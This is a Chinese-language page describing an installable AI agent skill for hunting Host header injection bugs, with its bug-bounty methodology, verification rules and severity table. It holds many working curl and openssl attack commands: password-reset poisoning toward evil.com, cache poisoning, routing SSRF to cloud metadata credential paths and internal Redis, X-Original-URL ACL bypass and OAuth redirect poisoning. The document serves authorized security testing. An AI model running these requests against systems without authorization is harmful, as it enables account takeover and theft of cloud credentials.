关于 hunt-host-header
用于排查 Host 头注入的 Web 安全测试技能,涵盖密码重置投毒、缓存投毒、SSRF 和 OAuth/OIDC 测试。它强调在受控环境中验证影响,并排除仅反射等误报。
主要功能
- 01密码重置投毒检查
- 02基于 Host 的缓存投毒测试
- 03路由与路径覆盖 SSRF 探测
- 04OAuth/OIDC Host 投毒检查
- 05证据与误报验证
适用场景
- 01用测试账户检查重置邮件链接
- 02检查 Host 反射是否污染共享缓存
- 03测试代理路由能否访问内部目标
- 04验证 OAuth 流程中的 Host 重定向
安装
复制下面的命令,在终端中运行。
npx skills add https:/ / github.com/ uphiago/ recon-skills --skill hunt-host-header安装后在 Claude Code 中输入/hunt-host-header确认已加载。
详细介绍
HUNT-HOST-HEADER — Host 头注入
依据 / 来源
此技能基于公开的 Host 头攻击文献,而非凭空编造的载荷。 在报告中引用技术来源,绝不要编造 ID:
- 密码重置投毒类 — 经典案例是 Skelet/Detectify 时代的
“Practical HTTP Host header attacks”(Django 的
request.get_host()→ 密码重置链接 案例)。许多框架在构建重置 URL 时直接使用请求的 Host,未设置类似ALLOWED_HOSTS的 允许列表。请引用你实际观察到的框架及 Host 反射行为。 - 通过未纳入缓存键的 Host / X-Forwarded-Host 进行 Web 缓存投毒 — PortSwigger Research 的 James Kettle 所著 “Practical Web Cache Poisoning”(2018)和 “Web Cache Entanglement”(2020)。 这些文献定义了未纳入缓存键的输入投毒,这正是 X-Forwarded-Host 投毒背后的机制。
- 基于路由的 SSRF — PortSwigger Research 的 “Cracking the lens” / 基于路由的 SSRF (Host 头控制前端选择上游服务)。
撰写报告时,请指出你复现的确切行为(反射的头、使用新缓存键时命中缓存、来自 Collaborator 的带外命中)。不要照搬未经你验证的 CVE 或 H1 ID——缺少引用也好过引用错误。
皇冠明珠目标
Host 头注入若能影响密码重置链接 = 严重(可接管任意用户的账户)。
高价值攻击链:
- 密码重置投毒 → ATO — 服务器根据请求 Host 构建重置链接;
攻击者设置
Host: evil.com;受害者收到的重置邮件会将令牌指向攻击者 → 受害者点击后令牌被截获 → 完全接管账户。预先接管的变体:即使受害者只是请求 重置自己的密码,也会将令牌泄露给 evil.com。 - 通过未纳入缓存键的 Host 进行 Web 缓存投毒 — CDN/反向代理缓存了一个将攻击者的
X-Forwarded-Host反射到绝对 URL(脚本 src、链接、重定向)中的响应 → 被投毒的 缓存条目会通过同一缓存键发送给之后的每位访客 → 大规模 XSS/重定向/CSP 绕过。 - 基于路由的 SSRF — 前端使用 Host 头本身选择上游服务;
Host: [REDACTED_IP](或内部主机名)会使前端将你的请求转发到该目标 → 云元数据 / 内部管理面板。 - 路径覆盖 SSRF / ACL 绕过 — IIS/ASP.NET/Spring 会认可
X-Original-URL/X-Rewrite-URL,以覆盖路由路径 → 访问/admin或边缘 ACL 认为已拦截的内部端点。 (与基于路由的 SSRF 属于不同层——见阶段 3。) - OAuth/OIDC 投毒 — Host 决定
redirect_uri或 OIDC 的issuer/ 发现文档 → 授权码或令牌被窃取 → ATO。
攻击面信号
Any password reset / forgot-password / email-verification / invite endpoint
Any app behind CDN/reverse proxy (Cloudflare, Varnish, Fastly, Akamai, Nginx, HAProxy)
OAuth/OIDC authorization + /.well-known/openid-configuration endpoints
Absolute URLs constructed from request Host (set-password links, share links, webhooks)
Email-sending endpoints (transactional mail, notifications)
Reverse proxies that may route by Host (k8s ingress, service mesh, internal forward proxies)
危险的候选头(未纳入缓存键 / 受信任的输入):
Host X-Forwarded-Host X-Host
X-Forwarded-Server X-HTTP-Host-Override Forwarded
X-Original-URL X-Rewrite-URL X-Override-URL (path-override class)
逐步狩猎方法
始终使用你自己的已注册测试账户进行测试。绝不要请求其他用户重置密码。
阶段 1 — 密码重置投毒
# 1a. Override Host directly
curl --max-time 30 --connect-timeout 10 -s -X POST https://$TARGET/forgot-password \
-H "Host: evil.com" \
-H "Content-Type: application/json" \
-d '{"email":"[email protected]"}'
# 1b. X-Forwarded-Host (behind reverse proxy that trusts it)
curl --max-time 30 --connect-timeout 10 -s -X POST https://$TARGET/forgot-password \
-H "Host: $TARGET" \
-H "X-Forwarded-Host: evil.com" \
-d "[email protected]"
# 1c. Host + X-Forwarded-Host combo, and X-Host
curl --max-time 30 --connect-timeout 10 -s -X POST https://$TARGET/forgot-password \
-H "Host: $TARGET" -H "X-Host: evil.com" \
-d "[email protected]"
# 1d. Dual-Host / Host override smuggling: some stacks read the SECOND Host
printf 'POST /forgot-password HTTP/1.1\r\nHost: %s\r\nHost: evil.com\r\nContent-Type: application/x-www-form-urlencoded\r\nContent-Length: 33\r\nConnection: close\r\n\r\[email protected]' "$TARGET" \
| openssl s_client -quiet -connect $TARGET:443 2>/dev/null
# 1e. Absolute-URL injection: keep real Host, append attacker host so the
# reset link becomes https://TARGET.evil.com/... or routes the token out
curl --max-time 30 --connect-timeout 10 -s -X POST https://$TARGET/forgot-password \
-H "Host: $TARGET.evil.com" -d "[email protected]"
# 1f. Trailing-port / userinfo confusion (parsers that split on : or @)
curl --max-time 30 --connect-timeout 10 -s -X POST https://$TARGET/forgot-password \
-H "Host: $TARGET:[email protected]" -d "[email protected]"
**确认:**在你自己的测试收件箱中打开重置邮件,检查链接的主机。令牌必须出现在攻击者
控制的主机下(evil.com、$TARGET.evil.com 或 Collaborator
域名),这才算是真正的发现。将 Burp Collaborator 域名用作注入的主机,这样受害者点击链接
(或预览抓取器获取链接)时,你就能在带外捕获令牌并取得证据——见验证部分。
阶段 2 —— 通过 Host / X-Forwarded-Host 进行 Web 缓存投毒
机制:这是一个反射漏洞,而不是 OOB 漏洞。注入的 Host 必须反射到响应正文中(绝对 URL、脚本 src、<link href>、<base href>、重定向 Location 或 canonical/og:url),并且该响应必须缓存到一个你无法控制的键上。缓存测试本身不会触发 Collaborator 回连——只有之后受害者的浏览器加载被投毒的绝对 URL 时才会触发。
# 2a. Is the host reflected into the body?
curl --max-time 30 --connect-timeout 10 -s https://$TARGET/ \
-H "Host: $TARGET" -H "X-Forwarded-Host: canary-$RANDOM.example" \
| grep -i "canary"
# 2b. Is the response cacheable, and what is the cache key?
curl --max-time 30 --connect-timeout 10 -sI "https://$TARGET/?cb=$RANDOM" \
| grep -iE "cache-control|cf-cache-status|x-cache|age|via|surrogate|vary"
# Look for: X-Cache/CF-Cache-Status: HIT, nonzero Age, Via: varnish/fastly/cloudfront.
# Check Vary: — if Vary does NOT include X-Forwarded-Host, the header is UNKEYED → poisonable.
# 2c. Prove poisoning: poison once, then fetch CLEAN (no injected header) on same key.
URL="https://$TARGET/?cb=poison$RANDOM"
curl --max-time 30 --connect-timeout 10 -s "$URL" -H "X-Forwarded-Host: evilcdn.example" >/dev/null # poison
curl --max-time 30 --connect-timeout 10 -s "$URL" | grep -i "evilcdn.example" # clean victim view → reflected = POISONED
排除误报(必做):
- 如果某个反射只会出现在你自己的请求中(因为该标头已被纳入缓存键,例如出现在
Vary中,或 CDN 将 Host 纳入缓存键),则这不算投毒——确认 2c 在请求中省略该标头时仍会返回载荷。 - 每次都是
Age: 0+MISS→ 没有共享缓存 → 不会造成大范围影响。应降级为仅影响自身 / 低危。 - 声称影响“大范围”之前,先从另一台设备 / 新的出口 IP / 无痕模式确认影响范围。缓存范围通常按边缘节点 / Cookie / 地理区域划分。
阶段 3 —— 通过 Host 标头进行 SSRF — 两种不同机制(切勿混为一谈)
它们作用于不同层。请分别测试;不能将它们组合到同一个请求中。
(3A) 基于路由的 SSRF —— Host 标头选择上游。 路径必须放在请求行中,和普通请求完全一样,因为元数据服务 / 内部主机提供的是纯 HTTP,只会看到你转发的请求行和标头。X-Original-URL 在这里无关紧要——EC2 IMDS 会忽略它。
# Correct routing-SSRF probe: path on the request line, Host steers the proxy upstream.
curl --max-time 30 --connect-timeout 10 -s "https://$TARGET/latest/meta-data/" -H "Host: [REDACTED_IP]"
curl --max-time 30 --connect-timeout 10 -s "https://$TARGET/latest/meta-data/iam/security-credentials/" -H "Host: [REDACTED_IP]"
# GCP / Azure equivalents (still routing via Host):
curl --max-time 30 --connect-timeout 10 -s "https://$TARGET/computeMetadata/v1/" \
-H "Host: metadata.google.internal" -H "Metadata-Flavor: Google"
curl --max-time 30 --connect-timeout 10 -s "https://$TARGET/metadata/instance?api-version=2021-02-01" \
-H "Host: [REDACTED_IP]" -H "Metadata: true"
# Internal hostname / port routing:
curl --max-time 30 --connect-timeout 10 -s "https://$TARGET/" -H "Host: localhost:6379" # Redis behind the proxy
curl --max-time 30 --connect-timeout 10 -s "https://$TARGET/" -H "Host: internal-admin.svc.cluster.local"
# Blind / no reflection? Point the Host at a Collaborator subdomain and watch for the
# proxy's outbound DNS/HTTP lookup — that proves the front-end resolves the attacker host.
curl --max-time 30 --connect-timeout 10 -s "https://$TARGET/" -H "Host: $COLLAB"
(3B) 路径覆盖型 SSRF / ACL 绕过 —— X-Original-URL / X-Rewrite-URL。 这是 IIS/ASP.NET/Spring-Cloud-Gateway 的一项功能,应用会覆盖路由路径。实际的 Host 保持不变;你绕过的是边缘路径 ACL,而不是操控上游。保留实际的 Host。
# Reach an internal/blocked path the edge thought it denied. Real Host stays.
curl --max-time 30 --connect-timeout 10 -s "https://$TARGET/" -H "Host: $TARGET" -H "X-Original-URL: /admin"
curl --max-time 30 --connect-timeout 10 -s "https://$TARGET/" -H "Host: $TARGET" -H "X-Rewrite-URL: /internal/metrics"
# Diff against a direct GET /admin (which the edge blocks) — a different status/body proves override.
旧探测
Host: [REDACTED_IP]+X-Original-URL: /latest/meta-data/是错误的:这两个标头作用于不同层,无法组合。访问元数据时使用 3A,绕过 ACL 时使用 3B。
阶段 4 —— OAuth / OIDC / SAML 投毒
# Does the authorization endpoint build redirect_uri / display URL from Host?
curl --max-time 30 --connect-timeout 10 -s "https://$TARGET/oauth/authorize?response_type=code&client_id=app&redirect_uri=https://$TARGET/cb" \
-H "Host: evil.com" | grep -iE "redirect|location|action="
# OIDC discovery: if issuer/endpoints reflect Host, the whole flow can be re-pointed.
curl --max-time 30 --connect-timeout 10 -s "https://$TARGET/.well-known/openid-configuration" -H "X-Forwarded-Host: evil.com" \
| grep -iE "issuer|authorization_endpoint|token_endpoint|jwks_uri"
**确认:**授权码 / 令牌必须实际发送到攻击者的主机(在 Collaborator 上捕获)——仅有反射字符串并不代表发生了 ATO。
阶段 5 —— 标头模糊测试(Param Miner)
Burp Param Miner → Guess headers 速度更快,还能找到下方列表遗漏的未纳入缓存键 / 影响缓存的标头。手动扫描:
HOST_HEADERS=(X-Forwarded-Host X-Host X-Forwarded-Server X-HTTP-Host-Override \
Forwarded X-Original-URL X-Rewrite-URL X-Override-URL X-Forwarded-Scheme)
for H in "${HOST_HEADERS[@]}"; do
echo "=== $H ==="
curl --max-time 30 --connect-timeout 10 -s -I "https://$TARGET/" -H "$H: canary-$RANDOM.example" \
| grep -iE "location|x-cache|cf-cache|age|set-cookie"
done
攻击链表
| 发现 | 攻击链 | 影响 |
|---|---|---|
| 重置链接的主机 = 攻击者(自有测试账户) | 注入 Collaborator 主机 → 点击时捕获令牌 | 严重 — 任何用户的 ATO |
| X-Forwarded-Host 反射到绝对 URL 中 + 可缓存且未纳入缓存键 | 投毒缓存键 → 无痕请求返回载荷 → 加载 XSS/重定向 | 高危 — 大范围缓存投毒 |
| 前端根据 Host 进行路由 | Host: [REDACTED_IP],路径放在请求行中 → 凭据 | 高危/严重 — SSRF → 云凭据 |
X-Original-URL 覆盖路径 | 访问在边缘被拦截的 /admin | 高危 — ACL 绕过 / SSRF |
| OAuth redirect_uri/issuer 根据 Host 构建 | 重定向流程 → 在 Collaborator 上捕获授权码/令牌 | 严重 — 通过窃取授权码实现 ATO |
验证(内部规范)
✅ **密码重置:**你自己的测试账户收到的邮件中的令牌 URL 使用了攻击者控制的主机。最有力的证据 = 注入 Collaborator 主机,并在点击/预览链接时,展示携带令牌的入站 HTTP 请求(带外捕获)。
✅ **缓存投毒:**不带注入请求头的请求(使用新的出口 IP / 无痕模式)仍会返回攻击者的负载 → 已证实共享缓存投毒。如果按 Vary 键区分或仅为 MISS/Age:0,则降级为低危。
✅ **路由 SSRF:**获得来自 [REDACTED_IP] / 内部主机的真实响应正文,或前端对你的 Collaborator 触发带外 DNS/HTTP 请求(盲测情况)。
✅ **路径覆盖:**与被边缘层拦截的直接请求相比,状态码/正文存在差异,证明覆盖已生效。
✅ **OAuth/OIDC:**授权码 / 令牌确实已发送到攻击者主机(已捕获),而不只是被反射。
务必排除误报:
- 被反射 ≠ 被缓存。仅为你缓存 ≠ 为其他人缓存(检查
Vary、第二个 IP)。 - 响应中回显你的 Host 字符串,不代表存在 SSRF;除非响应内容来自内部目标,或你的 Collaborator 被触发。
- 某些邮件服务无论 Host 是什么,都会将链接重写为固定的
SITE_URL— HTTP 响应中反射请求头并不能证明邮件遭到投毒;请检查邮件正文。
严重性:
- 重置 → 可接管任意用户账户(ATO):严重
- 路由 SSRF → 云元数据凭证:严重(凭证可用时)/ 高危
- 缓存投毒 → 大规模 XSS/重定向(已证实共享缓存键):高危
- 路径覆盖 → 可访问内部/管理资源:高危
- 仅反射、不可缓存、不在邮件中、无法访问内部资源:低危 / 信息性
验证
运行此自测,确认已准备好搜寻 Host 头问题:
-
技能完整性 — 确认技能文件可读且格式正确:
grep -q "name: hunt-host-header" SKILL.md && echo "PASS: skill frontmatter present" || echo "FAIL" grep -q "revision_date:" SKILL.md && echo "PASS: revision date present" || echo "FAIL" -
类别检查 — 确认技能具有类别:
grep -q "category:" SKILL.md && echo "PASS: category present" || echo "FAIL" -
陷阱部分 — 确认已记录常见陷阱:
grep -q "^## Pitfalls" SKILL.md && echo "PASS: pitfalls section present" || echo "FAIL"
全部 3 项测试可验证技能结构正确,已准备就绪。
常见陷阱
- Host 头反射但没有影响 — 页面中回显该请求头并非漏洞。需要缓存投毒、密码重置投毒或 SSRF。
- 未经邮件确认的密码重置投毒 — 响应中反射 Host 并不能证明重置链接遭到投毒。请查阅实际收到的邮件。
- 生成绝对 URL 还是相对 URL — 如果应用使用相对 URL,Host 头注入就没有影响。
- 接受
X-Forwarded-Host,但不用于生成链接 — 该请求头可能会被记录,但不会用于应用逻辑。请测试应用实际如何处理它。